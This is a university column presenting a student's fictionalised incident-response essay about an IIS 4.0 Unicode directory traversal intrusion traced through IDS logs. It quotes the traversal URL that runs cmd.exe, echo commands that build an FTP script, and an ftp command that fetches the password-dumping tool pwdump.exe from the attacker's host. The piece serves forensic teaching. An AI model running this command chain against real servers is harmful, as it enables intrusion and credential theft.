A Case of Directory Traversal

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

In coming weeks, I'll be showcasing some of the best essays submitted by students in information assurance and cybercrime courses and programs at Norwich University. Today, we have an account of an interesting attack method that Curtis Coleman, CISSP ran into. Mr Coleman is a student in the MSIA (Master of Science in Information Assurance) program at Norwich; he submitted this work as one of his weekly essays in October. The assignment was as follows: >Interview appropriate colleagues in your organization and discuss real cases of penetration or, if there have been none (or if your organization has never noticed any), discuss the possible consequences of hypothetical penetration scenarios. Briefly summarize the key points of your findings and speculations in the usual short essay of 1,000 words.<

From this point on, the text is entirely Mr Coleman's (with some slight edits for space and style):

* * *
Since I [Curtis Coleman] do not have authority from my corporate communication department to discuss on-going cases, the following is a fictional scenario based on a true case. All the actual IP addresses involved have been changed to values reserved by the Internet Assigned Numbers Authority (IANAL) for illustrative purposes. The complete listing of evidence findings and URL commands will not be disclosed; the details of commands will not be given, only summaries and enough information to follow the investigation. The clean-up procedures will not be discussed in this essay.

Background

I was paged at 12:02am, January 1, 2000. The first hours of the new millennium and instead of celebrating I was heading into the office. The page was an automatic notification of an alert from my Intrusion Detection System. All it said was an internal Web server had just started an ftp session and did a "get" command to an unknown source. The alarm was due to the fact that the Web server is not an ftp server, and it had initialized the session to an outside target. The emergency response team members were already excited about potential Y2K problems, this mysterious activity only added fear to the situation.

Forensics

Initial discovery revealed that the "ftp" server is actually an internal Web server supporting CRM, hosting the forum group for customers to discuss disc drive problems and troubleshooting procedures. This server is not in the DMZ; instead, a Netscape Enterprise server redirects URLs to the Windows NT server running Microsoft IIS 4.0 Web server. The server logs showed that an ftp session had been started from the server. When I saw what file the session "get" command got, my heart started racing. The target file was "pwdump.exe," a well known tool used by hackers to extract the encrypted Windows NT passwords to a file. This extracted data are then processed by a hacker tool called "L0phtCrack," which is able to break the encrypted passwords.

The initial evidence pointed to a hacker penetrating our defenses, uploading a hacker tool, and potentially having control now of all the passwords to this server. I knew this was criminal, but if I reported to the law authorities now, I would lose my ability to conduct any further investigation, and I wanted to know exactly how this was done. So, I took a chance and continued gathering evidence.

A file search on the Windows NT server showed an unauthorized script file, ftpscr.txt. This script looked something like this:

```
Jackoff
2$hort4U
bin
get pwdump.exe
quit
```

The questions that were burning in my mind were, “How did the hacker get this file onto this server? How did he get past our firewall, IDS, and front-end servers to this system inside our company? And how did he execute this file?”

I next started looking at the thousands of records in the IDS logs. Since the IP address of the Windows NT server would not be in my logs, because it is a redirected system from the Netscape Enterprise server, I had to look for the Netscape’s address instead. After a couple of hours poring over the logs, I hit pay dirt.

```
http://10.68.1.2/content/../scripts/..%c0%af../winnt/system32/cmd.exe?/c+set
```

The Netscape Enterprise server’s IP address is 10.68.1.2, and it runs on a Solaris Unix machine, so why is this URL doing something with “winnt/system32”? It turned out that this was our key to breaking how the hacker was able to successful penetrate our firewall, and control that Windows NT server.

From my PC, I ran the above URL and got in my browser a “CGI Error” that gave me the results of the “set” command being ran on the Windows NT server at the IP address 10.68.5.2. This is the same Windows NT system that had the ftpscr.txt. I went back to the IDS logs, ran grep looking for 10.68.1.2, and isolated all URLs that contained the “winnt/system32” string. A pattern was revealed. The Netscape Enterprise server was translating any URL with “/content/” to http://10.68.5.2/content/ and this new URL was sent to the internal IIS Web server on 10.68.5.2. The IIS Web server then substituted “/scripts/” for the “/content/” path internally because of the “..” between the two strings. The URL became:

```
http://10.68.5.2/scripts/..%c0%af../winnt/system32/cmd.exe?/c+set
```

The IIS 4.0 Web server interpreted the unicode “%c0%af” as “/” thus the Windows NT server at 10.68.5.2 executed the set command and the results were sent to the browser. With the set results displayed in his browser, the hacker knew he had found a hole into our systems.

Using this vulnerability, the hacker was then able to build the ftpscr.txt script on the 10.68.5.2 server using the “echo” command in the URL.

```
echo Jackoff > ftpscr.txt
echo 2$hort4U >> ftpscr.txt
echo bin >> ftpscr.txt
echo pwdump.exe >> ftpscr.txt
echo quit >> ftpscr.txt
```

The next step in the attack was the execution of the ftpscr.txt script. Studying the IDS logs, I saw a command I had never seen before. The hacker executed "ftp –s:ftpscr.txt 172.16.34.2". This command showed me that ftp can run in script mode. To get this to work, the hacker had to provide his IP address, 172.16.34.2, where the hacker tool was stored. It was this unusual, and unauthorized, execution of ftp from the IIS Web server that activated the IDS alarm, that paged me just 4 hours earlier. So that was how the hacker got the pwdump.exe tool onto the server. Both the Windows NT and IDS logs showed that the hacker executed the pwdump.exe tool and redirected the results to his browser, where he must have copied it and ran it through L0phtCrack.

Wrap-up

Within four hours I had gathered enough evidence. I knew exactly how the crime was committed, and I had the tracks back to the hacker's hideout. Around 1:00pm, less than 24 hours after the crime was committed, the suspect was arrested: a local college student who was caught red-handed hacking from his dorm room.

Fortunately for my company, the impact of this attack was minimal. The attacker only obtained the passwords for eight accounts; due to enforced policies, those accounts were not available on other systems. A follow-up "root cause" analysis meeting was held and all vulnerable IIS 4.0 Web servers were updated with security patches.

* * *

M. E. Kabay, PhD, CISSP is Associate Professor in the Department of Computer Information Systems at Norwich University in Northfield, VT. Mich can be reached by e-mail at < mkabay@norwich.edu >; Web site at < http://www.mekabay.com/index.htm >.